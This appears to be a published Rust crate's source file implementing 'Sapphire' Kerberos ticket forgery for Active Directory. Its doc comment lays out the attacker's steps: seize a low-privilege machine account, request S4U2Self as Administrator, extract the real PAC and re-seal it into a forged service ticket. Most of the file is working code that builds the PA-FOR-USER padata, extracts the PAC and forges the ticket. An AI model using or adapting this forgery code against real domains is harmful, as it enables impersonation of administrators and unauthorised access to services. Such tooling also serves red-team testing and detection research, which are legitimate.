ms-pac-forge 0.1.2

MS-PAC (Privilege Attribute Certificate) marshaling + Golden/Silver Kerberos ticket forgery, pure-Rust, byte-validated against a live Server 2025 KDC (pre-alpha, extracted from adhammer)
Documentation
//! Sapphire ticket primitives.
//!
//! # What Sapphire is
//!
//! Diamond ([`crate::diamond`]) still requires the krbtgt key. Sapphire
//! doesn't. Instead, it uses **S4U2Self** — a Kerberos extension that lets
//! any principal with a TGT ask the KDC for a service ticket "on behalf of"
//! any other user. The KDC responds with a fully populated PAC for that
//! target user (group SIDs, extra SIDs, PAC_REQUESTOR — every field the DC
//! normally emits), and encrypts the ticket under the caller's service key.
//!
//! The attacker's flow is:
//!
//! 1. Acquire a low-priv machine account (e.g. via LAPS, LLMNR-poison, or a
//!    plain trainee that computer-account has). The machine has a TGT.
//! 2. Send S4U2Self with `cname = <target user>` (e.g. Administrator).
//! 3. Receive TGS-REP whose ticket is encrypted with **the machine
//!    account's own key** — trivially decryptable.
//! 4. Pull the PAC. It's the real one the KDC would emit for Administrator
//!    at that moment: fresh, complete, forensically indistinguishable.
//! 5. Re-encrypt the PAC into any onward ticket (silver/ diamond) — no
//!    krbtgt required.
//!
//! Historical context: PAC_REQUESTOR-based defences (CVE-2021-42287
//! variants) intended to bind PACs to their client. Sapphire, in some
//! variants, cheats by asking for a service ticket to a service that
//! doesn't require encryption of PAC to another etype — this crate ships
//! only the *offline* primitives (the parts you can byte-test without a
//! live KDC).
//!
//! # What this module ships
//!
//! * [`build_pa_for_user`] — encode the `PA-FOR-USER` (padata type 129)
//!   entry that the caller shoves into a TGS-REQ. Includes the HMAC-MD5
//!   checksum over `userName || userRealm || "Kerberos"` under the caller's
//!   session key (key usage 17).
//! * [`extract_pac_from_enc_ticket_part`] — given an already-decrypted
//!   `EncTicketPart` from a KDC reply, walk the authorization-data and
//!   return the PAC bytes. Wraps the same primitive used by Diamond.
//! * [`forge_sapphire_service_ticket`] — take an extracted PAC + a target
//!   service SPN + the service's key and mint a service ticket with that
//!   PAC. Shape-identical to a silver ticket but with the KDC-populated
//!   PAC substituted in.
//!
//! # What this module does not ship
//!
//! * No KDC transport — no AS-REQ, no TGS-REQ send/recv. Wiring
//!   S4U2Self over the wire needs live-KDC test coverage this crate can't
//!   provide offline (that lives in adhammer-kerberos or a future
//!   `krbclient` crate).

use anyhow::{anyhow, bail, Result};
use picky_asn1::wrapper::{
    Asn1SequenceOf, ExplicitContextTag0, ExplicitContextTag1, ExplicitContextTag2,
    ExplicitContextTag3, IntegerAsn1, OctetStringAsn1, Optional,
};
use picky_asn1_der::application_tag::ApplicationTag;
use picky_krb::constants::types::{NT_PRINCIPAL, NT_SRV_INST};
use picky_krb::crypto::CipherSuite;
use picky_krb::data_types::{
    AuthorizationData, AuthorizationDataInner, EncTicketPart, EncryptedData, EncryptionKey, Ticket,
    TicketInner, TransitedEncoding,
};

use crate::checksum;
use crate::forge::ForgedTicket;
use crate::pac::ForgeIdentity;
use crate::util::{
    far_future_time, krb_string, now_kerberos_time, principal, ETYPE_AES256, ETYPE_RC4_HMAC,
};

/// Kerberos padata type identifier for `PA-FOR-USER` (RFC 4120 + MS-SFU).
pub const PA_FOR_USER: i32 = 129;

/// Key usage for the S4U2Self PA-FOR-USER checksum. MS-SFU §2.2.1.
pub const KEY_USAGE_S4U_CHECKSUM: i32 = 17;

/// KERB_CHECKSUM_HMAC_MD5 checksum type ID (RFC 4757, matches
/// [`crate::checksum::SIG_HMAC_MD5`]).
pub const CKSUM_HMAC_MD5: i32 = -138;

/// Encode a `PA-FOR-USER` padata entry:
///
/// ```text
/// PA-FOR-USER ::= SEQUENCE {
///     userName     [0] PrincipalName,
///     userRealm    [1] Realm,
///     cksum        [2] Checksum,
///     auth-package [3] KerberosString  -- literally "Kerberos"
/// }
/// ```
///
/// The checksum is `HMAC-MD5(session_key, S4U_BYTES)` under key usage 17,
/// where `S4U_BYTES = LE32(name_type) || each name-string || realm ||
/// "Kerberos"`.
///
/// `session_key` is the TGT's session key that the caller obtained from
/// the AS-REP; for RC4-based sessions this is the 16-byte RC4-HMAC key.
///
/// Returns the DER of the padata's `padata-value` (an OCTET STRING would
/// wrap this in the full PA-DATA envelope — do that at the send site with
/// [`PA_FOR_USER`] as the type).
pub fn build_pa_for_user(
    target_user: &str,
    target_realm: &str,
    session_key: &[u8],
) -> Result<Vec<u8>> {
    if target_user.is_empty() || target_realm.is_empty() {
        bail!("target user and realm must be non-empty");
    }
    let auth_package = "Kerberos";

    let s4u_bytes = s4u_checksum_bytes(
        NT_PRINCIPAL as u32,
        &[target_user],
        target_realm,
        auth_package,
    );
    let cksum_bytes = checksum::hmac_md5_checksum(session_key, KEY_USAGE_S4U_CHECKSUM, &s4u_bytes);

    // Hand-roll DER to keep the dep graph flat.
    let user_name = principal_name_der(NT_PRINCIPAL as i32, &[target_user]);
    let user_realm = general_string_der(target_realm);
    let cksum = checksum_der(CKSUM_HMAC_MD5, &cksum_bytes);
    let auth_package_der = general_string_der(auth_package);

    let seq_body: Vec<u8> = [
        explicit_context(0, &user_name),
        explicit_context(1, &user_realm),
        explicit_context(2, &cksum),
        explicit_context(3, &auth_package_der),
    ]
    .concat();
    Ok(der_seq(&seq_body))
}

fn tag_len(tag: u8, contents: &[u8]) -> Vec<u8> {
    let mut out = Vec::with_capacity(contents.len() + 6);
    out.push(tag);
    let len = contents.len();
    if len < 0x80 {
        out.push(len as u8);
    } else {
        let mut buf = [0u8; 8];
        let mut n = len;
        let mut i = buf.len();
        while n > 0 {
            i -= 1;
            buf[i] = (n & 0xff) as u8;
            n >>= 8;
        }
        let bytes = &buf[i..];
        out.push(0x80 | bytes.len() as u8);
        out.extend_from_slice(bytes);
    }
    out.extend_from_slice(contents);
    out
}

fn der_seq(contents: &[u8]) -> Vec<u8> {
    tag_len(0x30, contents)
}

fn der_octet(contents: &[u8]) -> Vec<u8> {
    tag_len(0x04, contents)
}

fn general_string_der(s: &str) -> Vec<u8> {
    tag_len(0x1B, s.as_bytes())
}

fn explicit_context(n: u8, inner_tlv: &[u8]) -> Vec<u8> {
    tag_len(0xA0 | (n & 0x1F), inner_tlv)
}

/// INTEGER content bytes (minimal signed big-endian).
fn integer_content_signed(n: i32) -> Vec<u8> {
    if (-128..=127).contains(&n) {
        vec![n as u8]
    } else if (-32_768..=32_767).contains(&n) {
        (n as i16).to_be_bytes().to_vec()
    } else {
        n.to_be_bytes().to_vec()
    }
}

fn integer_der(n: i32) -> Vec<u8> {
    tag_len(0x02, &integer_content_signed(n))
}

fn principal_name_der(name_type: i32, parts: &[&str]) -> Vec<u8> {
    let strings: Vec<u8> = parts.iter().flat_map(|p| general_string_der(p)).collect();
    let name_string_seq = der_seq(&strings);
    let body = [
        explicit_context(0, &integer_der(name_type)),
        explicit_context(1, &name_string_seq),
    ]
    .concat();
    der_seq(&body)
}

fn checksum_der(cksumtype: i32, cksum: &[u8]) -> Vec<u8> {
    let body = [
        explicit_context(0, &integer_der(cksumtype)),
        explicit_context(1, &der_octet(cksum)),
    ]
    .concat();
    der_seq(&body)
}

/// Extract the PAC bytes from an already-decrypted `EncTicketPart`. This is
/// how Sapphire callers pull the KDC-populated PAC after decrypting the
/// S4U2Self reply with the machine account's own key.
pub fn extract_pac_from_enc_ticket_part(etp: &EncTicketPart) -> Result<Vec<u8>> {
    let auth = etp
        .authorization_data
        .0
        .as_ref()
        .ok_or_else(|| anyhow!("ticket has no authorization-data"))?;
    crate::pac::extract_pac(auth)
}

/// Forge a service ticket that carries an *externally-supplied* PAC (the
/// one you extracted from an S4U2Self reply). Sealed under `service_key`;
/// both PAC signatures re-computed with the same key so the service accepts
/// the ticket without contacting the KDC.
///
/// `sname_parts` is the SPN split at `/` (e.g.
/// `["cifs", "dc01.corp.local"]`). `sapphire_identity` is the identity
/// whose name goes on the ticket envelope (`cname` / `crealm`); it does
/// not need to match the PAC's `KERB_VALIDATION_INFO` — the PAC is
/// trusted verbatim.
pub fn forge_sapphire_service_ticket(
    pac_bytes: Vec<u8>,
    realm: &str,
    service_key: &[u8],
    sname_parts: &[&str],
    sapphire_identity: &ForgeIdentity,
    rc4: bool,
) -> Result<ForgedTicket> {
    let realm_up = realm.to_uppercase();
    let etype = if rc4 { ETYPE_RC4_HMAC } else { ETYPE_AES256 };

    // Re-sign the PAC's SERVER + KDC checksums with `service_key` before
    // sealing (silver-shape: both under the service key).
    let resigned = crate::pac::re_sign_pac(&pac_bytes, service_key, service_key, rc4)
        .map_err(|e| anyhow!("re-sign PAC for sapphire: {e}"))?;

    let win2k = AuthorizationDataInner {
        ad_type: ExplicitContextTag0::from(IntegerAsn1(vec![0x00, 0x80])),
        ad_data: ExplicitContextTag1::from(OctetStringAsn1(resigned)),
    };
    let inner: AuthorizationData = Asn1SequenceOf::from(vec![win2k]);
    let inner_der = picky_asn1_der::to_vec(&inner).map_err(|e| anyhow!("encode PAC AD: {e}"))?;
    let if_rel = AuthorizationDataInner {
        ad_type: ExplicitContextTag0::from(IntegerAsn1(vec![0x01])),
        ad_data: ExplicitContextTag1::from(OctetStringAsn1(inner_der)),
    };
    let auth: AuthorizationData = Asn1SequenceOf::from(vec![if_rel]);

    let mut sk = vec![0u8; if rc4 { 16 } else { 32 }];
    rand::RngCore::fill_bytes(&mut rand::thread_rng(), &mut sk);
    let cname = principal(NT_PRINCIPAL, &[sapphire_identity.user.as_str()]);

    let etp = EncTicketPart {
        flags: ExplicitContextTag0::from(picky_asn1::wrapper::BitStringAsn1::from(
            picky_asn1::bit_string::BitString::with_bytes(vec![0x40, 0xa1, 0x00, 0x00]),
        )),
        key: ExplicitContextTag1::from(EncryptionKey {
            key_type: ExplicitContextTag0::from(IntegerAsn1(vec![etype])),
            key_value: ExplicitContextTag1::from(OctetStringAsn1(sk.clone())),
        }),
        crealm: ExplicitContextTag2::from(krb_string(&realm_up)),
        cname: ExplicitContextTag3::from(cname.clone()),
        transited: picky_asn1::wrapper::ExplicitContextTag4::from(TransitedEncoding {
            tr_type: ExplicitContextTag0::from(IntegerAsn1(vec![0])),
            contents: ExplicitContextTag1::from(OctetStringAsn1(vec![])),
        }),
        auth_time: picky_asn1::wrapper::ExplicitContextTag5::from(now_kerberos_time()),
        starttime: Optional::from(Some(picky_asn1::wrapper::ExplicitContextTag6::from(
            now_kerberos_time(),
        ))),
        endtime: picky_asn1::wrapper::ExplicitContextTag7::from(far_future_time()),
        renew_till: Optional::from(Some(picky_asn1::wrapper::ExplicitContextTag8::from(
            far_future_time(),
        ))),
        caddr: Optional::from(None),
        authorization_data: Optional::from(Some(picky_asn1::wrapper::ExplicitContextTag10::from(
            auth,
        ))),
    };
    let etp_app: ApplicationTag<EncTicketPart, 3> = ApplicationTag(etp);
    let etp_der =
        picky_asn1_der::to_vec(&etp_app).map_err(|e| anyhow!("encode EncTicketPart: {e}"))?;
    let enc = if rc4 {
        checksum::rc4_encrypt(service_key, 2, &etp_der, None)
    } else {
        CipherSuite::Aes256CtsHmacSha196
            .cipher()
            .encrypt(service_key, 2, &etp_der)
            .map_err(|e| anyhow!("encrypt EncTicketPart: {e}"))?
    };

    let ticket = Ticket::from(TicketInner {
        tkt_vno: ExplicitContextTag0::from(IntegerAsn1(vec![5])),
        realm: ExplicitContextTag1::from(krb_string(&realm_up)),
        sname: ExplicitContextTag2::from(principal(NT_SRV_INST, sname_parts)),
        enc_part: ExplicitContextTag3::from(EncryptedData {
            etype: ExplicitContextTag0::from(IntegerAsn1(vec![etype])),
            kvno: Optional::from(None),
            cipher: ExplicitContextTag2::from(OctetStringAsn1(enc)),
        }),
    });

    Ok(ForgedTicket::from_parts(ticket, sk, cname, realm_up))
}

// ─── internals ────────────────────────────────────────────────────────────

fn s4u_checksum_bytes(
    name_type: u32,
    name_string: &[&str],
    realm: &str,
    auth_package: &str,
) -> Vec<u8> {
    // MS-SFU §2.2.1: LE32(name-type) || each name-string in order || realm
    //                || auth-package
    let mut v = Vec::new();
    v.extend_from_slice(&name_type.to_le_bytes());
    for s in name_string {
        v.extend_from_slice(s.as_bytes());
    }
    v.extend_from_slice(realm.as_bytes());
    v.extend_from_slice(auth_package.as_bytes());
    v
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn pa_for_user_encodes_and_is_deterministic() {
        let key = [0x42u8; 16];
        let a = build_pa_for_user("Administrator", "CORP.LOCAL", &key).unwrap();
        let b = build_pa_for_user("Administrator", "CORP.LOCAL", &key).unwrap();
        assert_eq!(a, b, "same input must produce same padata bytes");
        assert!(!a.is_empty());
        // Outer wrapper should be a SEQUENCE (0x30).
        assert_eq!(a[0], 0x30);
    }

    #[test]
    fn pa_for_user_rejects_empty() {
        assert!(build_pa_for_user("", "CORP.LOCAL", &[0u8; 16]).is_err());
        assert!(build_pa_for_user("alice", "", &[0u8; 16]).is_err());
    }

    #[test]
    fn pa_for_user_cksum_changes_with_user() {
        let key = [0x42u8; 16];
        let a = build_pa_for_user("Administrator", "CORP.LOCAL", &key).unwrap();
        let b = build_pa_for_user("Guest", "CORP.LOCAL", &key).unwrap();
        assert_ne!(a, b, "different user should change the checksum bytes");
    }
}